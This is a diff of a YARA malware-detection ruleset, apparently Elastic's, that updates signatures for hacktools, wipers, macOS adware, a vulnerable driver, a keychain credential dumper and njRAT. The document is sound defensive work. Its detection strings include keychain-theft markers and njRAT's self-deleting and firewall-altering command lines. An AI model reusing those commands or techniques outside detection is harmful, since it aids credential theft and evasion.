-		$a5 = { 8B 45 ?? 83 C0 04 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 8B 4D ?? 8B 04 81 03 45 ?? 8B 4D ?? 8B 55 ?? 89 04 8A 8B 45 ?? 40 89 45 ?? EB ?? }
-		$a6 = { 8B 45 ?? 83 C0 04 89 45 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 45 ?? 03 45 ?? 89 45 ?? 8B 45 ?? 8B 00 89 45 ?? 8B 45 ?? 33 45 ?? 8B 4D ?? 89 01 EB ?? }
+		$name = "SharpGPOAbuse" wide fullword
+		$s1 = "AddUserTask" wide fullword
+		$s2 = "AddComputerTask" wide fullword
+		$s3 = "AddComputerScript" wide fullword
+		$s4 = "AddUserScript" wide fullword
+		$s5 = "GPOName" wide fullword
+		$s6 = "ScheduledTasks" wide fullword
+		$s7 = "NewImmediateTask" wide fullword
 
 	condition:
-		3 of them
+		($name and 1 of ($s*)) or all of ($s*)
 }
 rule ELASTIC_Multi_Hacktool_Nps_C6Eb4A27 : FILE MEMORY
 {
@@ -99797,8 +104003,8 @@ rule ELASTIC_Multi_Hacktool_Nps_C6Eb4A27 : FILE MEMORY
 		date = "2024-01-24"
 		modified = "2024-01-29"
 		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Hacktool_Nps.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Hacktool_Nps.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
 		hash = "4714e8ad9c625070ca0a151ffc98d87d8e5da7c8ef42037ca5f43baede6cfac1"
 		logic_hash = "53baf04f4ab8967761c6badb24f6632cc1bf4a448abf0049318b96855f30feea"
 		score = 75
@@ -99831,8 +104037,8 @@ rule ELASTIC_Multi_Hacktool_Nps_F76F257D : FILE MEMORY
 		date = "2024-01-24"
 		modified = "2024-01-29"
 		reference = "https://www.elastic.co/security-labs/unmasking-financial-services-intrusion-ref0657"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Multi_Hacktool_Nps.yar#L27-L50"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Multi_Hacktool_Nps.yar#L27-L50"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
 		hash = "80721b20a8667536a33fca50236f5c8e0c0d07aa7805b980e40818ab92cd9f4a"
 		logic_hash = "0bbd7f86bfd2967dc390510c2e403d05e1b56551b965ea716b9e5330f75c9bd5"
 		score = 75
@@ -99855,198 +104061,229 @@ rule ELASTIC_Multi_Hacktool_Nps_F76F257D : FILE MEMORY
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Exploit_CVE_2009_2908_406C2Fef : FILE MEMORY CVE_2009_2908
+rule ELASTIC_Windows_Wiper_Caddywiper_484Bd98A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Exploit Cve 2009 2908 (Linux.Exploit.CVE-2009-2908)"
+		description = "Detects Windows Wiper Caddywiper (Windows.Wiper.CaddyWiper)"
 		author = "Elastic Security"
-		id = "406c2fef-0f1a-441a-96b9-e4168c283c90"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "484bd98a-543f-42de-a58c-fe9c7b5605a3"
+		date = "2022-03-14"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Exploit_CVE_2009_2908.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1e05a23f5b3b9cfde183aec26b723147e1816b95dc0fb7f9ac57376efcb22fcd"
-		logic_hash = "ae379ca7564eb97f141f6ad71ca12973bf1a38cda4bc03e3f4dca1939a9b6b38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Wiper_CaddyWiper.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a294620543334a721a2ae8eaaf9680a0786f4b9a216d75b55cfd28f39e9430ea"
+		logic_hash = "f473673afc211b02328f4e9d88e709acd95bf4b1fa565f5aca972b92324bf589"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY, CVE-2009-2908"
-		fingerprint = "94a94217823a8d682ba27889ba2b53fef7b18ae14d75a73456f21184e51581cf"
+		tags = "FILE, MEMORY"
+		fingerprint = "de16515a72cd1f7b4d7ee46a4fafde07cf224c2b6df9037bcd20ab4d39181fa8"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 74 00 66 70 72 69 6E 74 66 00 66 77 72 69 74 65 00 64 65 73 }
+		$a1 = { C6 45 AC 43 C6 45 AD 3A C6 45 AE 5C C6 45 AF 55 C6 45 B0 73 C6 45 B1 65 C6 45 B2 72 C6 45 B3 73 }
+		$a2 = { C6 45 E0 44 C6 45 E1 3A C6 45 E2 5C }
+		$a3 = { C6 45 9C 6E C6 45 9D 65 C6 45 9E 74 C6 45 9F 61 C6 45 A0 70 C6 45 A1 69 C6 45 A2 33 C6 45 A3 32 }
+		$s1 = "DsRoleGetPrimaryDomainInformation"
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Lurker_0Ee51802 : FILE
+rule ELASTIC_Macos_Virus_Vsearch_0Dd3Ec6F : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Lurker (Windows.Trojan.Lurker)"
+		description = "Detects Macos Virus Vsearch (MacOS.Virus.Vsearch)"
 		author = "Elastic Security"
-		id = "0ee51802-4ff3-4edf-95ed-bb0338ff25d9"
-		date = "2022-04-04"
-		modified = "2022-06-09"
+		id = "0dd3ec6f-815f-40e1-bd53-495e0eae8196"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Lurker.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5718fd4f807e29e48a8b6a6f4484426ba96c61ec8630dc78677686e0c9ba2b87"
-		logic_hash = "782926c927dce82b95e51634d5607c474937e1edc0f7f739acefa0f4c03aa753"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Vsearch.yar#L1-L18"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "17a467b000117ea6c39fbd40b502ac9c7d59a97408c2cdfb09c65b2bb09924e5"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "c30bc4e25c1984268a3bb44c59081131d1e81254b94734f6af2b47969c0acd0e"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "8adbd06894e81dc09e46d8257d4e5fcd99e714f54ffb36d5a8d6268ea25d0bd6"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$str1 = "\\Device\\ZHWLurker0410" wide fullword
+		$a = { 2F 00 56 53 44 6F 77 6E 6C 6F 61 64 65 72 2E 6D 00 2F 4D 61 63 69 6E 74 6F 73 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Fabookie_024F8759 : FILE MEMORY
+rule ELASTIC_Macos_Virus_Vsearch_2A0419F8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Fabookie (Windows.Trojan.Fabookie)"
+		description = "Detects Macos Virus Vsearch (MacOS.Virus.Vsearch)"
 		author = "Elastic Security"
-		id = "024f8759-aaed-40fb-8052-35b58cf69f4e"
-		date = "2023-06-22"
-		modified = "2023-07-10"
+		id = "2a0419f8-95b2-4f87-a37a-ee0b65e344e9"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Fabookie.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "6c6345c6f0a5beadc4616170c87ec8a577de185d53345581e1b00e72af24c13e"
-		logic_hash = "9477406b718c6489161cf4636be66c4f72df923b9c5a7ee4069ef6a9552de485"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Virus_Vsearch.yar#L20-L37"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "fa9b811465e435bff5bc0f149ff65f57932c94f548a5ece4ec54ba775cdbb55a"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0f5be9523a9a3f570e36ed8bbc9d113ffc8a40f868d5826e8b236d65f66e186b"
+		fingerprint = "2da9f0fc05bc8e23feb33b27142f46fb437af77766e39889a02ea843d52d17eb"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "macos"
 
 	strings:
-		$a1 = { 48 89 C2 4D 33 C0 4D 33 C9 C7 44 24 20 02 00 00 80 }
-		$a2 = { C7 C2 80 84 1E 00 41 C7 C0 00 10 00 00 41 C7 C1 04 00 00 00 48 8B 44 24 }
+		$a = { 6F 72 6D 61 6C 2F 69 33 38 36 2F 56 53 44 6F 77 6E 6C 6F 61 64 65 72 2E 6F 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_D7Bd0E5D : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Adload_4995469F : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
 		author = "Elastic Security"
-		id = "d7bd0e5d-3528-4648-aaa5-6cf44d22c0d5"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "4995469f-9810-4c1f-b9bc-97e951fe9256"
+		date = "2021-10-04"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "afcfd67af99e437f553029ccf97b91ed0ca891f9bcc01c148c2b38c75482d671"
-		logic_hash = "1f87721fdfe58d029c0696bc99385a0052c771bc48b2c9ce01b72c3e42359654"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Adload.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "6464ca7b36197cccf0dac00f21c43f0cb09f900006b1934e2b3667b367114de5"
+		logic_hash = "cceb804a11b93b0e3f491016c47a823d9e6a31294c3ed05d4404601323b30993"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "fbc06c7603aa436df807ad3f77d5ba783c4d33f61b06a69e8641741068f3a543"
+		fingerprint = "9b7e7c76177cc8ca727df5039a5748282f5914f2625ec1f54d67d444f92f0ee5"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { CF 99 67 D8 37 AA 24 80 F2 F3 47 6A A5 5E 88 50 F1 28 61 18 }
+		$a = { 49 8B 77 08 49 8B 4F 20 48 BF 89 88 88 88 88 88 88 88 48 89 C8 48 F7 E7 48 C1 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_69E1A763 : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Adload_9B9F86C7 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
 		author = "Elastic Security"
-		id = "69e1a763-1e0d-4448-9bc4-769f3a36ac10"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "9b9f86c7-e74c-4fc2-bb64-f87473a4b820"
+		date = "2021-10-04"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b04d9fabd1e8fc42d1fa8e90a3299a3c36e6f05d858dfbed9f5e90a84b68bcbb"
-		logic_hash = "d0dac8e2c9571d9e622c8c1250a54a7671ad1b9b00dba584c3741b714c22d8e0"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Adload.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "952e6004ce164ba607ac7fddc1df3d0d6cac07d271d90be02d790c52e49cb73c"
+		logic_hash = "82297db23e036f22c90eee7b2654e84df847eb1c2b1ea4dcf358c48a14819709"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "9007ab73902ef9bfa69e4ddc29513316cb6aa7185986cdb10fd833157cd7d434"
+		fingerprint = "7e70d5574907261e73d746a4ad0b7bce319a9bb3b39a7f1df326284960a7fa38"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 43 08 49 89 46 08 48 8B 43 10 49 89 46 10 48 85 C0 74 8A F0 83 40 }
+		$a = { 44 65 6C 65 67 61 74 65 43 35 73 68 6F 77 6E 53 62 76 70 57 76 64 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_397A86Bd : FILE MEMORY
+rule ELASTIC_Macos_Trojan_Adload_F6B18A0A : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Macos Trojan Adload (MacOS.Trojan.Adload)"
 		author = "Elastic Security"
-		id = "397a86bd-6d66-4db0-ad41-d0ae3dbbeb21"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "f6b18a0a-7593-430f-904b-8d416861d165"
+		date = "2021-10-05"
+		modified = "2021-10-25"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "79c47a80ecc6e0f5f87749319f6d5d6a3f0fbff7c34082d747155b9b20510cde"
-		logic_hash = "6b46a82d1aea0357f5a48c9ae1d93e3d4d31bd98b9c9b4e0b0d0629e7f159499"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Adload.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "06f38bb811e6a6c38b5e2db708d4063f4aea27fcd193d57c60594f25a86488c8"
+		logic_hash = "20d43fbf0b8155940e2e181f376a7b1979ce248d88dc08409aaa1a916777231c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bad343f28180822bcb45b0a84d69b40e26e5eedb650db1599514020b6736dd0"
+		fingerprint = "f33275481b0bf4f4e57c7ad757f1e22d35742fc3d0ffa3983321f03170b5100e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "macos"
 
 	strings:
-		$a = { 74 4F 48 8B 75 00 48 8B 4D 08 4C 89 F7 48 8B 55 10 48 8B 45 18 48 89 74 }
+		$a = { 10 49 8B 4E 20 48 BE 89 88 88 88 88 88 88 88 48 89 C8 48 F7 E6 49 39 DC 0F 84 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_37C3F8D3 : FILE MEMORY
+rule ELASTIC_Windows_Vulndriver_Tmcomm_333F3851 : FILE
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Name: TmComm.sys, Version: 8.0.0.0"
 		author = "Elastic Security"
-		id = "37c3f8d3-9d79-434c-b0e8-252122ebc62a"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "333f3851-5d99-4b22-8af5-1587e9e44ea4"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "efbddf1020d0845b7a524da357893730981b9ee65a90e54976d7289d46d0ffd4"
-		logic_hash = "e7bdd185ea4227b0960c3e677e7d8ac7488d53eaa77efd631be828b2ca079bb8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_TmComm.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
+		logic_hash = "a4464fb7edbacb6d9c8d6b385f9cc28685f0bed40876eecd5a7c87e0707e3025"
+		score = 75
+		quality = 75
+		tags = "FILE"
+		fingerprint = "94b718e4450f28b8a9562f89a2fd0e395012051f0af8617d8ab13a45afcd4191"
+		threat_name = "Windows.VulnDriver.TmComm"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 54 00 6D 00 43 00 6F 00 6D 00 6D 00 2E 00 73 00 79 00 73 00 00 00 }
+		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x00][\x00-\x00])([\x00-\x08][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\x00][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x07][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff]))/
+
+	condition:
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+}
+rule ELASTIC_Linux_Proxy_Frp_4213778F : FILE MEMORY
+{
+	meta:
+		description = "Detects Linux Proxy Frp (Linux.Proxy.Frp)"
+		author = "Elastic Security"
+		id = "4213778f-d05e-4af8-9650-2d813d5a64e5"
+		date = "2021-10-20"
+		modified = "2022-01-26"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Proxy_Frp.yar#L1-L28"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "16294086be1cc853f75e864a405f31e2da621cb9d6a59f2a71a2fca4e268b6c2"
+		logic_hash = "83eeb632026c38ac08357c27d971da31fbc9a0500ecf489e8332ac5862a77b85"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6ba0bae987db369ec6cdadf685b8c7184e6c916111743f1f2b43ead8d028338c"
+		fingerprint = "70bb186a9719767a9a60786fbe10bf4cc2f04c19ea58aaaa90018ec89a9f9b84"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -100054,57 +104291,135 @@ rule ELASTIC_Linux_Cryptominer_Generic_37C3F8D3 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { F0 4C 01 F0 49 8B 75 08 48 01 C3 49 39 F4 74 29 48 89 DA 4C }
+		$s1 = "github.com/fatedier/frp/client/proxy.TcpProxy"
+		$s2 = "frp/cmd/frpc/sub/xtcp.go"
+		$s3 = "frp/client/proxy/proxy_manager.go"
+		$s4 = "fatedier/frp/models/config/proxy.go"
+		$s5 = "github.com/fatedier/frp/server/proxy"
+		$s6 = "frp/cmd/frps/main.go"
+		$p1 = "json:\"remote_port\""
+		$p2 = "remote_port"
+		$p3 = "remote_addr"
+		$p4 = "range section [%s] local_port and remote_port is necessary[ERR]"
 
 	condition:
-		all of them
+		2 of ($s*) and 2 of ($p*)
 }
-rule ELASTIC_Linux_Cryptominer_Generic_28A80546 : FILE MEMORY
+rule ELASTIC_Macos_Creddump_Keychainaccess_535C1511 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Macos Creddump Keychainaccess (Macos.Creddump.KeychainAccess)"
 		author = "Elastic Security"
-		id = "28a80546-ae74-4616-8896-50f54da66650"
-		date = "2021-01-12"
-		modified = "2021-09-16"
+		id = "535c1511-5b45-4845-85c1-ec53f9787b96"
+		date = "2023-04-11"
+		modified = "2024-08-19"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L81-L99"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96cc225cf20240592e1dcc8a13a69f2f97637ed8bc89e30a78b8b2423991d850"
-		logic_hash = "120e9f7cad0fc8aebd843374c0edca8cbb701882ab55a7f24aced1d80d8cd697"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Creddump_KeychainAccess.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c2995263622d62b11db93f7d163a7595e316ec24b51099f434bc5dbd0afefbfe"
+		score = 75
+		quality = 49
+		tags = "FILE, MEMORY"
+		fingerprint = "7c103fa75b24cdf322f6c7cf3ec56e8cc2b14666c9d9fb56a4b1a735efaf1b5b"
+		severity = 100
+		arch_context = "x86, arm64"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
+
+	strings:
+		$strings1 = "uploadkeychain" ascii wide nocase
+		$strings2 = "decryptkeychain" ascii wide nocase
+		$strings3 = "dump-generic-password" ascii wide nocase
+		$strings4 = "keychain_extract" ascii wide nocase
+		$strings5 = "chainbreaker" ascii wide nocase
+		$strings6 = "SecKeychainItemCopyContent" ascii wide nocase
+		$strings7 = "SecKeychainItemCopyAccess" ascii wide nocase
+		$strings8 = "Failed to get password" ascii wide nocase
+
+	condition:
+		all of ($strings1,$strings2) or $strings4 or all of ($strings3,$strings5) or all of ($strings6,$strings7,$strings8)
+}
+rule ELASTIC_Windows_Trojan_Njrat_30F3C220 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Njrat (Windows.Trojan.Njrat)"
+		author = "Elastic Security"
+		id = "30f3c220-b8dc-45a1-bcf0-027c2f76fa63"
+		date = "2021-06-13"
+		modified = "2021-10-04"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Njrat.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "741a0f3954499c11f9eddc8df7c31e7c59ca41f1a7005646735b8b1d53438c1b"
+		logic_hash = "76347165829415646f943bb984cd17ca138cf238d03f114c498dbcec081d5ae3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7f49f04ba36e7ff38d313930c469d64337203a60792f935a3548cee176ae9523"
+		fingerprint = "d15e131bca6beddcaecb20fffaff1784ad8a33a25e7ce90f7450d1a362908cc4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 72 59 D4 B5 63 E2 4D B6 08 EF E8 0A 3A B1 AD 1B 61 6E 7C 65 D1 }
+		$a1 = "get_Registry" ascii fullword
+		$a2 = "SEE_MASK_NOZONECHECKS" wide fullword
+		$a3 = "Download ERROR" wide fullword
+		$a4 = "cmd.exe /c ping 0 -n 2 & del \"" wide fullword
+		$a5 = "netsh firewall delete allowedprogram \"" wide fullword
+		$a6 = "[+] System : " wide fullword
+
+	condition:
+		3 of them
+}
+rule ELASTIC_Windows_Trojan_Njrat_Eb2698D2 : FILE MEMORY
+{
+	meta:
+		description = "Detects Windows Trojan Njrat (Windows.Trojan.Njrat)"
+		author = "Elastic Security"
+		id = "eb2698d2-c9fa-4b0b-900f-1c4c149cca4b"
+		date = "2023-05-04"
+		modified = "2023-06-13"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Njrat.yar#L26-L44"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d537397bc41f0a1cb964fa7be6658add5fe58d929ac91500fc7770c116d49608"
+		logic_hash = "c32a641f2d639f56a8137b3e0d0be3261fba30084eeba9d1205974713413af9f"
+		score = 75
+		quality = 73
+		tags = "FILE, MEMORY"
+		fingerprint = "8eedcdabf459de87e895b142cd1a1b8c0e403ad8ec6466bc6ca493dd5daa823b"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "windows"
+
+	strings:
+		$a1 = { 24 65 66 65 39 65 61 64 63 2D 64 34 61 65 2D 34 62 39 65 2D 62 38 61 62 2D 37 65 34 37 66 38 64 62 36 61 63 39 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Generic_9D531F70 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Patpooty_E2E0Dff1 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Cryptominer Generic (Linux.Cryptominer.Generic)"
+		description = "Detects Linux Trojan Patpooty (Linux.Trojan.Patpooty)"
 		author = "Elastic Security"
-		id = "9d531f70-c42f-4e1a-956a-f9ac43751e73"
+		id = "e2e0dff1-bb01-437e-b138-7da3954dc473"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Cryptominer_Generic.yar#L101-L119"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "36f2ce4e34faf42741f0a15f62e8b3477d69193bf289818e22d0e3ee3e906eb0"
-		logic_hash = "87d3cb7049975d52f2a6d6aa10e6b6d0d008d166ca5f9889ad1413a573d8b58e"
